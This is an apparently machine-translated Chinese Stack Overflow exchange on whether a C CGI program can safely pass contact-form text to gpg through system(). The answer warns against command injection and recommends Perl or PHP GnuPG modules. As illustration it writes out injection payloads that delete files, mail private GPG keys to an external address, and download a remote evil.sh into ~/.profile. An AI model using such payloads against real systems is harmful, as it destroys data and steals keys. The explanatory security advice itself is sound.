2

我目前正在编写我自己的小型网站系统(一个编译 Markdown 文档的脚本,并将它们放在适当的位置,从而制作一个快速的静态网站)。我想让访问我的(最初是静态的)联系页面的人能够向我发送GnuPG加密的消息。

基本上,访问者在联系表格中写下他或她的消息,如果他们想要加密消息,请单击此复选框,并且在收到表格后,我的 C(?) 程序会调用system("gpg --encrypt --recipient 31A49121CD42FF00 --armor <the_message>");

(我还没有确定如何有效地获取消息内容并在命令中使用它而不将未加密的消息写入磁盘)。

exec()在处理表单数据的自制 C 程序中使用是否(不)安全?有没有更简单的方法来实现我想做的事情(使用独立脚本——因为我的网站是静态的——运行 GPG)?有什么我没有考虑过的安全注意事项吗?

我在这里询问而不是 Security SE,因为我正在寻找开发人员观点的答案。

4

1 回答 1

4

作为一名至少在这个主题上提供适度生活咨询的安全专业人士,以及一个相当多产的 C 程序员,我可以就这个主题给你一些不同的想法。

当您考虑在目标上执行的流程的安全性时,您必须考虑许多事情以及某人如何滥用这种情况。

惊鸿一瞥

让我们看看我刚刚看到的直接安全问题,您正在直接使用“system()”调用<the_message>;你能想象以下情况:

the_message="hello and goodbye; rm -rf *; cat $HOME/.gpg/* | /usr/bin/sendmail -s 'these are the private keys' temporary_account@hotmail.com" or worse;

the_message="hello and goodbye; wget http://some.remote.system.com/evil.sh && mv evil.sh ~/.profile;" 

所以首先要做的就是永远不要使用用户提供的任何东西作为命令或命令行的一部分;将消息保存到临时文本文件并加密;

稍微深一点的样子

好的,那么在使用 C 方面发生了什么;在给你答案之前,我想说我爱C;我几乎完全用 C 编程,并且在过去的 24 年里一直是一名主要专注于 C 的专业开发人员。现在,我想说的是,C 是用于编写 CGI 程序的可怕工具,只有当你有真正令人信服的理由时才应该这样做。在你找到那个原因之后,你无论如何都应该放弃它,放弃这个想法。

以下是为什么您不应该将 C 用于 CGI 接口的一些原因。

CGI/1.1 是一个丑陋的标准;它使用环境变量、标准输入和各种字符重新映射和重新编码来获取数据。为了处理所有的排列,你总是不得不处理实现一个 cgi 接口或使用 libcgi 或一些等效的库,最后你只会讨厌自己。

当我将http://libcgi.sourceforge.net用于特定项目时,我必须对其进行调试、加固和扩充,因为它在左右流问题上有一些可怕的缓冲区,不存在 utf-8 支持和有限的控制验证。

但是,即使您已经涵盖了这一点,C 通常也是一个坏主意,因为许多安全问题都是由必须执行的手动操作内存引起的。

更高级的语言(shell 脚本、awk、perl、php 等)是处理 CGI 的更好工具;Perl 几乎是为它构建的,而 PHP 是专门为它构建的。在您的情况下使用 perl 或 PHP 的另一个优点是 GnuPG 模块可用,因此您无需 system() 任何东西;

良好开发的关键是使用最简单、最直接的工具包来完成工作;在您的情况下,我认为您不应该使用 C,因为它会迫使您以适当的 CGI 处理语言(例如 PHP)的形式执行已经为您做得很好的事情。

这些是我的想法;我希望你会

于 2013-05-19T08:40:55.233 回答